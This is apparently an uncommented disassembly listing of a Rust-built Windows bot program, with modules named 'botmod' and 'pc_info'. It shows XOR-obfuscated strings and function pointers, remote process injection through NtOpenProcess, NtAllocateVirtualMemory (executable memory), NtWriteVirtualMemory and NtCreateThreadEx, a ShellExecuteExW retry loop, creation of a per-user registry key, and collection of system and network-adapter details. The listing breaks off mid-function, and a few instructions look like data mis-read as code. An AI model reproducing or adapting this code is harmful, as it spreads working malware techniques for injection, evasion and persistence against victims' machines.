mov byte [r15 + rdi + 9], bl
mov rdi, qword [rsp + 0xe0]
inc rdi
mov qword [rsp + 0xe0], rdi
add r12, 0xfffffffffffffff0
jmp 0x1a7f1b5c283
mov r8, qword [rsp + 0x60]
test r8, r8
je 0x1a7f1b5c30b
shl r8, 4
mov edx, 8
mov rcx, qword [rsp + 0x68]
call fcn.1a7f1b446ce
lea rsi, [rsp + 0x2b0]
mov rcx, rsi
call fcn.1a7f1b4e656
mov rbx, qword [rsi]
mov r8, qword [rsi + 0x10]
lea r15, [rsp + 0x248]
mov rcx, r15
mov rdx, rbx
call fcn.1a7f1b66d10
mov rdx, qword [rsi + 8]
mov rcx, rbx
call fcn.1a7f1b8357b
mov ecx, 0x40
mov edx, 8
call fcn.1a7f1b43c33
mov qword [rsp + 0x60], rax
mov rbx, qword [r15]
mov r15, qword [r15 + 0x10]
mov rcx, r15
call fcn.1a7f1bf6427
mov r12, rax
mov r13, rdx
mov rcx, rax
mov rdx, rbx
mov r8, r15
call fcn.1a7f1c22170
mov byte [rsi], 3
mov qword [rsi + 8], r12
mov qword [rsi + 0x10], r13
mov qword [rsi + 0x18], r15
lea r8, str.srccore_botmod.rs
lea rcx, [rsp + 0x160]
lea rdx, [rsp + 0x2b0]
call fcn.1a7f1b4350a
mov ecx, 0x20
mov edx, 8
call fcn.1a7f1b43c33
mov rbx, rax
mov r14, qword [rsp + 0xd0]
mov rcx, rdi
call fcn.1a7f1bb8eb7
test rax, rax
je 0x1a7f1b5d454
mov qword [rsp + 0x68], rbx
lea rsi, [rsp + 0x80]
mov qword [rsi], rax
mov qword [rsi + 8], rdx
and qword [rsi + 0x10], 0
lea rbp, [rsp + 0x2b7]
lea r15, [rsp + 0xf1]
shl rdi, 4
lea rbx, [rsp + 0x2b0]
lea r12, [rsp + 0xa0]
test rdi, rdi
je 0x1a7f1b5dbc2
mov rcx, rbx
call fcn.1a7f1bbc593
cmp qword [rsp + 0x2b0], 0
je 0x1a7f1b5dc8b
lea r13, [r14 + 0x10]
mov rax, qword [rsp + 0x2c0]
mov qword [rsp + 0xb0], rax
movups xmm0, xmmword [rsp + 0x2b0]
movaps xmmword [rsp + 0xa0], xmm0
mov rax, qword [r14]
mov rcx, rax
shr rcx, 0x3f
mov byte [rsp + 0x2b0], 2
add al, byte [rax]
add byte [rdx], al
add al, byte [rax]
add byte [rdx], al
mov qword [rsp + 0x2b8], rcx
mov qword [rsp + 0x2c0], rax
mov rcx, r12
mov rdx, rbx
call fcn.1a7f1b43aaf
mov dl, byte [r14 + 8]
mov rcx, r12
call fcn.1a7f1b48ed6
mov dl, byte [r14 + 9]
mov rcx, r12
call fcn.1a7f1b48ed6
mov rax, qword [rsp + 0xb0]
mov qword [rbp + 0x10], rax
movaps xmm0, xmmword [rsp + 0xa0]
movups xmmword [rbp], xmm0
mov byte [rsp + 0xf0], 4
movups xmm0, xmmword [rsp + 0x2b0]
movups xmm1, xmmword [rsp + 0x2bf]
movups xmmword [r15 + 0xf], xmm1
movups xmmword [r15], xmm0
mov rcx, rsi
lea rdx, [rsp + 0xf0]
call fcn.1a7f1b43aaf
add rdi, 0xfffffffffffffff0
mov r14, r13
jmp 0x1a7f1b5c40b
call fcn.1a7f1b4ed39
test al, al
jne case.0x1a7f1b5b061.7
lea rsi, [rsp + 0x160]
mov rcx, rsi
call fcn.1a7f1b4e08c
cmp byte [rsi + 0x18], 2
je case.0x1a7f1b5b061.7
mov rdx, qword [rsp + 0x160]
mov rax, qword [rsp + 0x168]
mov qword [rsp + 0x68], rax
lea rsi, [rsp + 0x2b0]
mov qword [rsi], 1
xorps xmm6, xmm6
movups xmmword [rsi + 8], xmm6
mov r8, qword [rsp + 0x170]
lea r15, [rsp + 0x1b0]
mov rcx, r15
mov qword [rsp + 0x60], rdx
mov r9, rsi
call fcn.1a7f1b4e007
mov rcx, qword [r15]
mov rax, qword [r15 + 0x10]
add rax, rcx
mov qword [rsp + 0x70], rcx
mov qword [rsi], rcx
mov qword [rsi + 8], rax
and word [rsi + 0x10], 0
mov dword [rsi + 0x18], 1
lea r15, [rsp + 0x80]
lea rdx, [rsp + 0x2b0]
mov rcx, r15
call fcn.1a7f1b43330
mov edi, 5
mov r15, qword [r15]
lea r13, [rsp + 0xf0]
lea r14, [rsp + 0x210]
lea r12, [0x1a7f1b76693]
lea rbx, str._rustc_a57770440f1ebe5b992551d3bcc489ae211908d4librarycore_src_strpattern.rs
lea rsi, [rsp + 0x1d0]
movaps xmmword [rsp + 0x310], xmm6
movaps xmmword [rsp + 0x300], xmm6
movaps xmmword [rsp + 0x2f0], xmm6
movaps xmmword [rsp + 0x2e0], xmm6
movaps xmmword [rsp + 0x2d0], xmm6
movaps xmmword [rsp + 0x2c0], xmm6
movaps xmmword [rsp + 0x2b0], xmm6
lea rax, [0x1a7f1c3689a]
mov qword [rsp + 0xf0], rax
lea rax, str._rustc_a57770440f1ebe5b992551d3bcc489ae211908d4librarycore_src_strpattern.rs
mov qword [rsp + 0xf8], rax
and word [rsp + 0x100], 0
lea rcx, [rsp + 0xa0]
mov rdx, r13
call fcn.1a7f1b4330b
xor ecx, ecx
mov edx, 6
call qword [sym.imp.ole32.dll_CoInitializeEx]
mov dword [rsp + 0x2b0], 0x70
mov rbp, qword [rsp + 0xa0]
mov qword [rsp + 0x2c0], rbp
mov qword [rsp + 0x2c8], r15
and qword [rsp + 0x2d0], 0
and dword [rsp + 0x2e0], 0
lea rcx, [rsp + 0x2b0]
call qword [sym.imp.shell32.dll_ShellExecuteExW]
cmp eax, 1
je 0x1a7f1b60aa9
call sub.kernel32.dll_GetLastError
mov dword [rsp + 0x210], eax
mov qword [rsp + 0xf0], rbx
add byte [rax], al
add byte [rax], al
mov qword [rsp + 0xf8], 2
and qword [rsp + 0x110], 0
mov qword [rsp + 0x1d0], r14
mov qword [rsp + 0x1d8], r12
mov qword [rsp + 0x100], rsi
mov qword [rsp + 0x108], 1
mov rcx, r13
call fcn.1a7f1bc81d0
mov rdx, qword [rsp + 0xa8]
mov rcx, rbp
call fcn.1a7f1b42942
dec edi
jne 0x1a7f1b5c5c3
mov rdx, qword [rsp + 0x88]
mov rcx, r15
call fcn.1a7f1b42942
mov rdx, qword [rsp + 0x1b8]
mov rcx, qword [rsp + 0x70]
call fcn.1a7f1b8357b
mov rcx, qword [rsp + 0x60]
mov rdx, qword [rsp + 0x68]
jmp 0x1a7f1b60687
mov rdx, qword [r9 + 0x30]
mov r8, qword [r9 + 0x40]
lea rbx, [rsp + 0x2b0]
mov rcx, rbx
call fcn.1a7f1b66d10
lea rdi, [rsp + 0x160]
mov rcx, rdi
mov rdx, rbp
mov r8, r14
mov r9, rbx
call fcn.1a7f1b4c016
mov rsi, qword [rdi]
mov rdi, qword [rdi + 0x10]
lea rax, [0x1a7f1c2f253]
mov qword [rbx], rax
mov rcx, qword [rbx]
movabs rax, 0x5433737598245950
mov qword [rbx], rax
mov rdx, qword [rbx]
call fcn.1a7f1b4686f
and dword [rbx + 8], 0
and qword [rbx], 0
mov r8b, 1
xor edx, edx
lea rcx, [0x1a7f1c37360]
test r8b, 1
je 0x1a7f1b5c842
movzx r9d, byte [rdx + rcx]
mov r8, rdx
or r8, 1
movzx r8d, byte [r8 + rcx]
mov r10, rdx
or r10, 2
movzx r10d, byte [r10 + rcx]
mov r11, rdx
or r11, 3
movzx r11d, byte [r11 + rcx]
mov rbx, rdx
or rbx, 4
movzx ebx, byte [rbx + rcx]
mov r14, rdx
or r14, 5
movzx r14d, byte [r14 + rcx]
mov r15, rdx
or r15, 6
mov r12, rdx
or r12, 7
movzx r15d, byte [r15 + rcx]
movzx r12d, byte [r12 + rcx]
shl r12, 0x38
shl r15, 0x30
or r15, r12
shl r14, 0x28
shl rbx, 0x20
shl r11, 0x18
shl r10, 0x10
shl r8, 8
or r8, r9
or r8, r10
or r8, r11
or r8, rbx
or r8, r14
or r8, r15
xor r8, qword [rax + rdx]
mov qword [rsp + rdx + 0x2b0], r8
mov edx, 8
xor r8d, r8d
jmp 0x1a7f1b5c796
mov edx, 8
cmp rdx, 0xb
ja 0x1a7f1b5c878
movzx r8d, byte [rdx + rcx + 2]
shl r8d, 0x10
movzx r9d, word [rdx + rcx]
add r8d, r9d
add r8d, 0x5d000000
xor r8d, dword [rax + rdx]
mov dword [rsp + rdx + 0x2b0], r8d
add rdx, 4
jmp 0x1a7f1b5c847
lea r14, [rsp + 0x2b0]
mov eax, dword [r14 + 8]
lea rbx, [rsp + 0x80]
mov dword [rbx + 8], eax
mov rax, qword [r14]
mov qword [rbx], rax
mov rcx, r14
call fcn.1a7f1bd4be9
mov rcx, r14
call fcn.1a7f1bd6653
mov rax, qword [r14 + 0x40]
mov rcx, qword [r14 + 0x48]
add rcx, rax
inc rcx
movdqa xmm0, xmmword [rax]
pmovmskb edx, xmm0
not edx
mov r8, qword [r14 + 0x58]
lea r14, [rsp + 0xf0]
mov qword [r14], rax
add rax, 0x10
mov qword [r14 + 8], rax
mov qword [r14 + 0x10], rcx
mov word [r14 + 0x18], dx
mov qword [r14 + 0x20], r8
mov qword [r14 + 0x28], rbx
mov qword [r14 + 0x30], 0xc
xor r12d, r12d
mov rcx, r14
call fcn.1a7f1b48f39
test rax, rax
je 0x1a7f1b5c92b
mov r15, rdx
test rdx, rdx
je 0x1a7f1b5c92b
mov rcx, qword [r15 + 0x78]
mov rdx, qword [r15 + 0x88]
mov r9d, 0xc
mov r8, rbx
call fcn.1a7f1b42cc1
test al, al
je 0x1a7f1b5c8f0
mov r12, qword [r15 + 0xc0]
jmp 0x1a7f1b5c8f0
pxor xmm0, xmm0
lea r8, [rsp + 0xf0]
movdqa xmmword [r8 + 0x20], xmm0
movdqa xmmword [r8 + 0x10], xmm0
movdqa xmmword [r8], xmm0
lea rcx, [rsp + 0xd0]
mov qword [rcx], r12
lea r9, [rsp + 0xa0]
mov qword [r9], r12
and qword [r9 + 8], 0
mov edx, 0x7f
call qword [sym.imp.ntdll.dll_NtOpenProcess]
test eax, eax
js 0x1a7f1b5ca28
lea r9, [rsp + 0x248]
mov qword [r9], rdi
mov rbx, qword [rsp + 0xd0]
lea rdx, [rsp + 0x210]
and qword [rdx], 0
mov dword [rsp + 0x28], 0x40
mov dword [rsp + 0x20], 0x3000
mov rcx, rbx
xor r8d, r8d
call qword [sym.imp.ntdll.dll_NtAllocateVirtualMemory]
test eax, eax
js 0x1a7f1b5ca28
lea rax, [rsp + 0x1d0]
and qword [rax], 0
mov rdx, qword [rsp + 0x210]
mov qword [rsp + 0x20], rax
mov rcx, rbx
mov r8, rsi
mov r9, rdi
call qword [sym.imp.ntdll.dll_NtWriteVirtualMemory]
test eax, eax
js 0x1a7f1b5ca28
lea rcx, [rsp + 0x1b0]
and qword [rcx], 0
mov rax, qword [rsp + 0x210]
pxor xmm0, xmm0
movdqu xmmword [rsp + 0x48], xmm0
movdqu xmmword [rsp + 0x38], xmm0
and dword [rsp + 0x30], 0
mov qword [rsp + 0x20], rax
and qword [rsp + 0x28], 0
mov edx, 0x2000000
xor r8d, r8d
mov r9, rbx
call qword [sym.imp.ntdll.dll_NtCreateThreadEx]
test eax, eax
lea rcx, [rsp + 0x2b0]
call fcn.1a7f1b425b6
mov rdx, qword [rsp + 0x168]
mov rcx, rsi
jmp 0x1a7f1b60687
mov rcx, rbx
mov rdx, rdi
call fcn.1a7f1b8357b
mov rcx, qword [rsp + 0x280]
mov rdx, qword [rsp + 0x288]
jmp 0x1a7f1b60687
call fcn.1a7f1b4e08c
lea r8, [0x1a7f1c36fd8]
lea rcx, [rsp + 0x160]
mov rdx, rsi
call fcn.1a7f1b43428
lea rax, [0x1a7f1c336f1]
mov qword [rsi], rax
mov rcx, qword [rsi]
movabs rax, 0x967adc58920a32c8
mov qword [rsi], rax
mov rdx, qword [rsi]
call fcn.1a7f1b46916
pxor xmm0, xmm0
movdqu xmmword [rsi + 0x1c], xmm0
movdqa xmmword [rsi + 0x10], xmm0
movdqa xmmword [rsi], xmm0
xor edx, edx
lea rcx, [0x1a7f1c36ff0]
cmp rdx, 0x28
jae 0x1a7f1b5cada
mov r8, qword [rdx + rcx]
xor r8, qword [rax + rdx]
mov qword [rsp + rdx + 0x2b0], r8
add rdx, 8
jmp 0x1a7f1b5cabe
mov edx, 0x28
cmp rdx, 0x2b
ja 0x1a7f1b5cb10
movzx r8d, byte [rdx + rcx + 2]
shl r8d, 0x10
movzx r9d, word [rdx + rcx]
add r8d, r9d
add r8d, 0x9e000000
xor r8d, dword [rax + rdx]
mov dword [rsp + rdx + 0x2b0], r8d
add rdx, 4
jmp 0x1a7f1b5cadf
mov al, byte [rax + 0x2c]
xor al, 0xdd
lea rdi, [rsp + 0x2b0]
mov byte [rdi + 0x2c], al
movdqa xmm0, xmmword [rdi]
movaps xmm1, xmmword [rdi + 0x10]
lea rdx, [rsp + 0xf0]
movdqa xmmword [rdx], xmm0
movaps xmmword [rdx + 0x10], xmm1
mov rax, qword [rdi + 0x1d]
mov qword [rdx + 0x1d], rax
mov eax, dword [rdi + 0x25]
mov dword [rdx + 0x25], eax
movzx eax, word [rdi + 0x29]
mov word [rdx + 0x29], ax
mov al, byte [rdi + 0x2b]
mov byte [rdx + 0x2b], al
mov al, byte [rdi + 0x2c]
mov byte [rdx + 0x2c], al
mov r8d, 0x2d
mov rcx, rdi
call fcn.1a7f1b46aa4
lea rax, [rsp + 0x80]
and qword [rax], 0
lea rcx, [rsp + 0x1b0]
and dword [rcx], 0
mov rbx, qword [rdi]
mov qword [rsp + 0x40], rcx
mov qword [rsp + 0x38], rax
and qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0xf003f
and dword [rsp + 0x20], 0
mov rcx, 0xffffffff80000001
mov rdx, rbx
xor r8d, r8d
xor r9d, r9d
call qword [sym.imp.advapi32.dll_RegCreateKeyExW]
mov r14d, eax
test eax, eax
je 0x1a7f1b5e867
mov rsi, r14
shl rsi, 0x20
or rsi, 2
mov qword [rsp + 0x210], rsi
mov byte [rsp + 0x218], 0
jmp 0x1a7f1b5e885
mov r15d, 8
imul rsi, r12, 0x18
xor r14d, r14d
lea rdi, [rsp + 0x2b0]
mov qword [rsp + 0x1a8], r12
sub r12, 1
jb 0x1a7f1b5cc40
cmp rsi, r14
je 0x1a7f1b5cc40
lea r13, [rbx + 0x18]
mov rdx, qword [rbx]
mov r8, qword [rbx + 0x10]
mov rcx, rdi
call fcn.1a7f1b451d5
mov rax, qword [rsp + 0x2c0]
mov qword [r15 + r14 + 0x10], rax
movdqu xmm0, xmmword [rsp + 0x2b0]
movdqu xmmword [r15 + r14], xmm0
add r14, 0x18
mov rbx, r13
jmp 0x1a7f1b5cbfd
mov qword [rsp + 0x70], rbp
lea rax, [rsp + 0x160]
mov qword [rax], 8
pxor xmm0, xmm0
movdqu xmmword [rax + 8], xmm0
add rsi, r15
imul rax, qword [rsp + 0x1a8], 0xffffffffffffffe8
mov qword [rsp + 0x68], rax
mov r14d, 8
mov ebp, 0x18
xor eax, eax
mov qword [rsp + 0x60], rax
mov r13, r15
mov rax, qword [rsp + 0x68]
add rax, rbp
cmp rax, 0x18
je 0x1a7f1b5cdaa
mov rbx, qword [r13]
test rbx, rbx
je 0x1a7f1b5cdb4
mov qword [rsp + 0xf0], rbx
movups xmm0, xmmword [r13 + 8]
lea rax, [rsp + 0xf8]
movups xmmword [rax], xmm0
mov rdi, qword [rsp + 0x100]
test rdi, rdi
mov r12, rbx
cmove r12, rdi
mov rcx, r12
lea rdx, str.srccore_botmod.rs
call fcn.1a7f1b43488
add rbx, 0x18
cmp rdi, 2
mov eax, 0
cmovb rbx, rax
mov rcx, rbx
lea rdx, str.srccore_botmod.rs
call fcn.1a7f1b43488
mov rdx, qword [r12]
mov r8, qword [r12 + 0x10]
lea rcx, [rsp + 0x2b0]
call fcn.1a7f1b66d10
mov rdx, qword [rbx]
mov r8, qword [rbx + 0x10]
lea rcx, [rsp + 0x2c8]
call fcn.1a7f1b66d10
mov rdx, qword [rsp + 0x60]
cmp rdx, qword [rsp + 0x168]
jne 0x1a7f1b5cd51
lea rcx, [rsp + 0x160]
call fcn.1a7f1b43e4f
mov r14, qword [rsp + 0x160]
mov rdx, qword [rsp + 0x170]
add r13, 0x18
imul rax, rdx, 0x30
movdqu xmm0, xmmword [rsp + 0x2b0]
movups xmm1, xmmword [rsp + 0x2c0]
movups xmm2, xmmword [rsp + 0x2d0]
movups xmmword [r14 + rax + 0x20], xmm2
movups xmmword [r14 + rax + 0x10], xmm1
movdqu xmmword [r14 + rax], xmm0
inc rdx
mov qword [rsp + 0x60], rdx
mov qword [rsp + 0x170], rdx
lea rcx, [rsp + 0xf0]
call fcn.1a7f1b42a72
add rbp, 0x18
jmp 0x1a7f1b5cc83
mov qword [rsp + 0x68], r14
mov rbp, rsi
jmp 0x1a7f1b5cdbc
mov qword [rsp + 0x68], r14
add rbp, r15
sub rsi, rbp
mov ecx, 0x18
mov rax, rsi
xor edx, edx
div rcx
mov rcx, rbp
mov rdx, rax
call fcn.1a7f1b42ad4
mov rcx, r15
mov rdx, qword [rsp + 0x1a8]
call fcn.1a7f1b42bc4
mov rax, qword [rsp + 0x168]
mov qword [rsp + 0x1a8], rax
mov rbx, qword [rsp + 0x270]
mov rdx, qword [rbx + 0x30]
mov r8, qword [rbx + 0x40]
lea rsi, [rsp + 0x2b0]
mov rcx, rsi
call fcn.1a7f1b66d10
lea rcx, [rsp + 0x1d0]
mov rdi, qword [rsp + 0x70]
mov rdx, rdi
mov r15, qword [rsp + 0x78]
mov r8, r15
mov r9, rsi
call fcn.1a7f1b4c016
mov rdx, qword [rbx]
mov r8, qword [rbx + 0x10]
lea rbx, [rsp + 0x2b0]
mov rcx, rbx
call fcn.1a7f1b66d10
lea rsi, [rsp + 0x1b0]
mov rcx, rsi
mov rdx, rdi
mov r8, r15
mov r9, rbx
call fcn.1a7f1b4c016
mov rbp, qword [rsi + 0x10]
pxor xmm0, xmm0
movdqa xmmword [rbx + 0x20], xmm0
movdqa xmmword [rbx + 0x10], xmm0
movdqa xmmword [rbx], xmm0
lea rbx, [rsp + 0x2b0]
mov rcx, rbx
call sub.kernel32.dll_GetSystemInfo
mov eax, dword [rbx + 4]
mov qword [rsp + 0x70], rax
test rax, rax
je 0x1a7f1b6096e
mov esi, 5
mov ecx, 5
mov edx, 1
call fcn.1a7f1b43c33
mov rbx, rax
mov dword [rax], 0x5cd7a487
mov byte [rax + 4], 0x9e
mov ecx, 5
mov edx, 1
call fcn.1a7f1b43c33
mov r15, rax
mov dword [rax], 0x30b3d0e9
mov byte [rax + 4], 0xf2
mov qword [rsp + 0xf0], rax
mov qword [rsp + 0xf8], rsi
mov qword [rsp + 0x100], rsi
xor r13d, r13d
lea r12, str.srccoreutilsmod.rs
cmp r13, 5
je 0x1a7f1b5cf38
lea rsi, [r13 + 1]
mov edx, 5
mov rcx, rbx
mov r8, r13
mov r9, r12
call fcn.1a7f1b476cc
mov dil, byte [rax]
mov edx, 5
mov rcx, r15
mov r8, r13
mov r9, r12
call fcn.1a7f1b476cc
xor byte [rax], dil
mov r13, rsi
jmp 0x1a7f1b5cefd
mov rdi, rbp
lea r13, [rsp + 0x2b0]
lea r15, [rsp + 0xf0]
mov rcx, r13
mov rdx, r15
call fcn.1a7f1b43cf8
lea r8, str.srccoreutilsmod.rs
lea r12, [rsp + 0x160]
mov rcx, r12
mov rdx, r13
call fcn.1a7f1b43554
mov edx, 5
mov rcx, rbx
call fcn.1a7f1b8357b
mov rbx, qword [r12]
mov r13, qword [r12 + 0x10]
mov rcx, r13
call fcn.1a7f1bf6427
mov rbp, rax
mov rsi, rdx
mov rcx, rax
mov rdx, rbx
mov r8, r13
call fcn.1a7f1c22170
mov rcx, rbp
mov rdx, r13
call fcn.1a7f1b4d71a
mov qword [rsp + 0x78], rax
mov rcx, rbp
mov rdx, rsi
call fcn.1a7f1b8357b
mov rcx, qword [r12]
mov rdx, qword [r12 + 8]
call fcn.1a7f1b8357b
mov esi, 0x17
mov ecx, 0x17
mov edx, 1
call fcn.1a7f1b43c33
mov r12, rax
movaps xmm0, xmmword [0x1a7f1c351d0]
movups xmmword [rax], xmm0
mov dword [rax + 0x10], 0x8f57c
mov word [rax + 0x14], 0x3f45
mov byte [rax + 0x16], 0x93
mov ecx, 0x17
mov edx, 1
call fcn.1a7f1b43c33
mov r13, rax
movdqa xmm0, xmmword [0x1a7f1c351e0]
movdqu xmmword [rax], xmm0
mov dword [rax + 0x10], 0x6d6db810
mov word [rax + 0x14], 0x4d2a
mov byte [rax + 0x16], 0xea
mov qword [r15], rax
mov qword [r15 + 8], rsi
mov qword [r15 + 0x10], rsi
xor ebp, ebp
lea r15, str.srccoreutilsmod.rs
cmp rbp, 0x17
je 0x1a7f1b5d079
lea rsi, [rbp + 1]
mov edx, 0x17
mov rcx, r12
mov r8, rbp
mov r9, r15
call fcn.1a7f1b476cc
mov bl, byte [rax]
mov edx, 0x17
mov rcx, r13
mov r8, rbp
mov r9, r15
call fcn.1a7f1b476cc
xor byte [rax], bl
mov rbp, rsi
jmp 0x1a7f1b5d040
mov rcx, rdi
mov rax, rdi
xor edx, edx
mov r8, qword [rsp + 0x70]
div r8
add rdi, r8
sub rdi, rdx
test rdx, rdx
cmove rdi, rcx
test rdi, rdi
cmove rdi, r8
lea r14, [rsp + 0x2b0]
lea r15, [rsp + 0xf0]
mov rcx, r14
mov rdx, r15
call fcn.1a7f1b43cf8
lea r8, str.srccoreutilsmod.rs
lea rsi, [rsp + 0x160]
mov rcx, rsi
mov rdx, r14
call fcn.1a7f1b43554
mov edx, 0x17
mov rcx, r12
call fcn.1a7f1b8357b
mov r12, qword [rsi]
mov r13, qword [rsi + 0x10]
mov rcx, r13
call fcn.1a7f1bf6427
mov rbp, rax
mov rbx, rdx
mov rcx, rax
mov rdx, r12
mov r8, r13
call fcn.1a7f1c22170
mov rcx, qword [rsp + 0x78]
mov rdx, rbp
mov r8, r13
call fcn.1a7f1b4d7e3
mov r12, rax
mov rcx, rbp
mov rdx, rbx
call fcn.1a7f1b8357b
mov rcx, qword [rsi]
mov rdx, qword [rsi + 8]
call fcn.1a7f1b8357b
and qword [r15], 0
mov qword [r14], rdi
mov dword [rsp + 0x28], 0x40
mov dword [rsp + 0x20], 0x1000
lea rsi, [rsp + 0xf0]
lea r9, [rsp + 0x2b0]
mov rcx, 0xffffffffffffffff
mov rdx, rsi
xor r8d, r8d
call r12
mov rax, qword [rsi]
mov qword [rsp + 0x70], rax
lea rax, [rsp + 0x80]
mov qword [rax], 1
pxor xmm0, xmm0
movdqu xmmword [rax + 8], xmm0
lea rax, [rsp + 0xa0]
mov qword [rax], 8
movdqu xmmword [rax + 8], xmm0
imul r12, qword [rsp + 0x60], 0x30
mov rdi, qword [rsp + 0x68]
lea rax, [rdi + r12]
mov qword [rsp + 0x60], rax
lea r14, [rdi + 0x30]
lea rbx, str.intstring
lea r13, str.boolcharstri8i16i64i128isizeu8u16u32u128f32f64__...
mov qword [rsp + 0x68], rdi
test r12, r12
je 0x1a7f1b5d373
mov rsi, qword [rdi]
mov rax, qword [rdi + 0x28]
mov qword [rsp + 0x180], rax
movups xmm0, xmmword [rdi + 0x18]
movaps xmmword [rsp + 0x170], xmm0
movups xmm0, xmmword [rdi + 8]
movaps xmmword [rsp + 0x160], xmm0
test rsi, rsi
je 0x1a7f1b5d37d
mov qword [rsp + 0xf0], rsi
mov rax, qword [rsp + 0x180]
lea rcx, [rsp + 0xf8]
mov qword [rcx + 0x20], rax
movdqa xmm0, xmmword [rsp + 0x160]
movaps xmm1, xmmword [rsp + 0x170]
movups xmmword [rcx + 0x10], xmm1
movdqu xmmword [rcx], xmm0
mov rbp, qword [rsp + 0x100]
mov r9d, 3
mov rcx, rsi
mov rdx, rbp
mov r8, rbx
call fcn.1a7f1b8ec86
test al, al
jne 0x1a7f1b5d35a
mov r9d, 4
mov rcx, rsi
mov rdx, rbp
mov r8, r13
call fcn.1a7f1b8ec86
test al, al
jne 0x1a7f1b5d35a
mov r9d, 6
mov rcx, rsi
mov rdx, rbp
lea r8, [0x1a7f1c37173]
call fcn.1a7f1b8ec86
test al, al
je 0x1a7f1b5d35a
lea rax, str._rustc_a57770440f1ebe5b992551d3bcc489ae211908d4librarycore_src_strpattern.rs
mov qword [rsp + 0x2b0], rax
mov qword [rsp + 0x2b8], 2
and qword [rsp + 0x2d0], 0
lea rax, [rsp + 0x108]
mov qword [rsp + 0x210], rax
lea rax, [0x1a7f1b446a0]
mov qword [rsp + 0x218], rax
lea rax, [rsp + 0x210]
mov qword [rsp + 0x2c0], rax
mov qword [rsp + 0x2c8], 1
lea rbp, [rsp + 0x868]
mov rcx, rbp
lea rsi, [rsp + 0x2b0]
mov rdx, rsi
call fcn.1a7f1b438e7
lea rcx, [rsp + 0xa0]
mov rdx, rbp
call fcn.1a7f1b43a68
mov rax, qword [rsp + 0xb0]
test rax, rax
je 0x1a7f1b60ac2
mov rcx, qword [rsp + 0xa0]
imul rax, rax, 0x18
mov rax, qword [rax + rcx - 0x18]
mov qword [rsp + 0x2b0], rax
mov r8d, 8
lea rcx, [rsp + 0x80]
mov rdx, rsi
call fcn.1a7f1bd69a6
add rdi, 0x30
mov rcx, r15
call fcn.1a7f1b428e7
add r14, 0x30
add r12, 0xffffffffffffffd0
jmp 0x1a7f1b5d1c2
mov rax, qword [rsp + 0x60]
mov r14, rax
jmp 0x1a7f1b5d382
mov rax, qword [rsp + 0x60]
sub rax, r14
mov ecx, 0x30
xor edx, edx
div rcx
mov rsi, rax
mov rdi, qword [rsp + 0x68]
sub rsi, 1
jb 0x1a7f1b5d3ab
mov rcx, r14
call fcn.1a7f1b428e7
add r14, 0x30
jmp 0x1a7f1b5d397
mov rax, qword [rsp + 0x1a8]
test rax, rax
je 0x1a7f1b5d3c9
imul r8, rax, 0x30
mov edx, 8
mov rcx, rdi
call fcn.1a7f1b446ce
mov rdi, qword [rsp + 0x80]
mov rsi, qword [rsp + 0x1b0]
mov r8, qword [rsp + 0x1c0]
mov r14, qword [rsp + 0x70]
mov rcx, r14
mov rdx, rsi
call fcn.1a7f1c22170
mov rbx, qword [rsp + 0x1d0]
mov rax, qword [rsp + 0x1e0]
lea rcx, [rsp + 0x2b0]
mov qword [rcx], rbx
mov qword [rcx + 8], rax
mov qword [rcx + 0x10], rdi
call r14
lea rcx, [rsp + 0xa0]
call fcn.1a7f1b42a72
mov rdx, qword [rsp + 0x88]
mov rcx, rdi
call fcn.1a7f1b8357b
mov rdx, qword [rsp + 0x1b8]
mov rcx, rsi
call fcn.1a7f1b8357b
mov rdx, qword [rsp + 0x1d8]
mov rcx, rbx
jmp 0x1a7f1b60687
mov qword [rsp + 0x2b8], rdx
mov byte [rsp + 0x2b0], 6
mov rsi, qword [rsp + 0x60]
jmp 0x1a7f1b5dcba
mov esi, 6
mov ecx, 6
call fcn.1a7f1bf6427
mov dword [rax], 0x5f363858
mov word [rax + 4], 0x3233
jmp 0x1a7f1b5d4a7
mov esi, 7
mov ecx, 7
call fcn.1a7f1bf6427
mov dword [rax], 0x6e6b6e55
mov dword [rax + 3], 0x6e776f6e
mov byte [rsp + 0x2b0], 3
lea r15, [rsp + 0x2b0]
mov qword [r15 + 8], rax
mov qword [r15 + 0x10], rdx
mov qword [r15 + 0x18], rsi
lea r8, str.srccorepc_infopc_info.rs
lea rcx, [rsp + 0x210]
mov rdx, r15
call fcn.1a7f1b4350a
and dword [r15], 0
mov qword [rsp + 0x20], r15
xor ecx, ecx
xor edx, edx
xor r8d, r8d
xor r9d, r9d
call sub.iphlpapi.dll_GetAdaptersAddresses
mov esi, dword [r15]
test rsi, rsi
je 0x1a7f1b5d519
mov rcx, rsi
call fcn.1a7f1b62df0
mov r13, rax
test rax, rax
jne 0x1a7f1b5d51f
mov ecx, 1
mov rdx, rsi
call fcn.1a7f1c2f940
ud2
mov r13d, 1
mov qword [rsp + 0x20], r15
xor ecx, ecx
xor edx, edx
xor r8d, r8d
mov r9, r13
call sub.iphlpapi.dll_GetAdaptersAddresses
test eax, eax
je 0x1a7f1b5db58
mov rcx, r13
mov rdx, rsi
call fcn.1a7f1b8357b
mov esi, 5
mov ecx, 5
call fcn.1a7f1bf6427
mov r15, rax
mov qword [rsp + 0x268], rdx
mov dword [rax], 0x6f727245
mov byte [rax + 4], 0x72
mov qword [rsp + 0x7a8], rbp
mov qword [rsp + 0x7b0], r12
mov qword [rsp + 0x7b8], r14
mov rcx, rsi
call fcn.1a7f1bf6427
mov rdi, rax
mov rbx, rdx
mov rcx, rax
mov qword [rsp + 0x7a0], r15
mov rdx, r15
mov r8, rsi
call fcn.1a7f1c22170
lea r15, [rsp + 0x2b0]
mov byte [r15], 3
mov qword [r15 + 8], rdi
mov qword [r15 + 0x10], rbx
mov qword [r15 + 0x18], rsi
lea rsi, str.srccorepc_infopc_info.rs
lea rcx, [rsp + 0x1d0]
mov rdx, r15
mov r8, rsi
call fcn.1a7f1b4350a
pxor xmm0, xmm0
movdqa xmmword [r15 + 0x20], xmm0
movdqa xmmword [r15 + 0x10], xmm0
movdqa xmmword [r15], xmm0
lea rdi, [rsp + 0x2b0]
mov rcx, rdi
call sub.kernel32.dll_GetSystemInfo
mov eax, dword [rdi + 0x20]
mov byte [rdi], 2
and qword [rdi + 8], 0
mov qword [rdi + 0x10], rax
lea rcx, [rsp + 0x1b0]
lea rdx, [rsp + 0x2b0]
mov r8, rsi
call fcn.1a7f1b4350a
lea rsi, [rsp + 0x2b0]
mov rcx, rsi
call fcn.1a7f1bc4c10
cmp byte [rsi + 0x18], 2
je 0x1a7f1b60afd
lea rbx, [rsp + 0x2b0]
movups xmm0, xmmword [rbx]
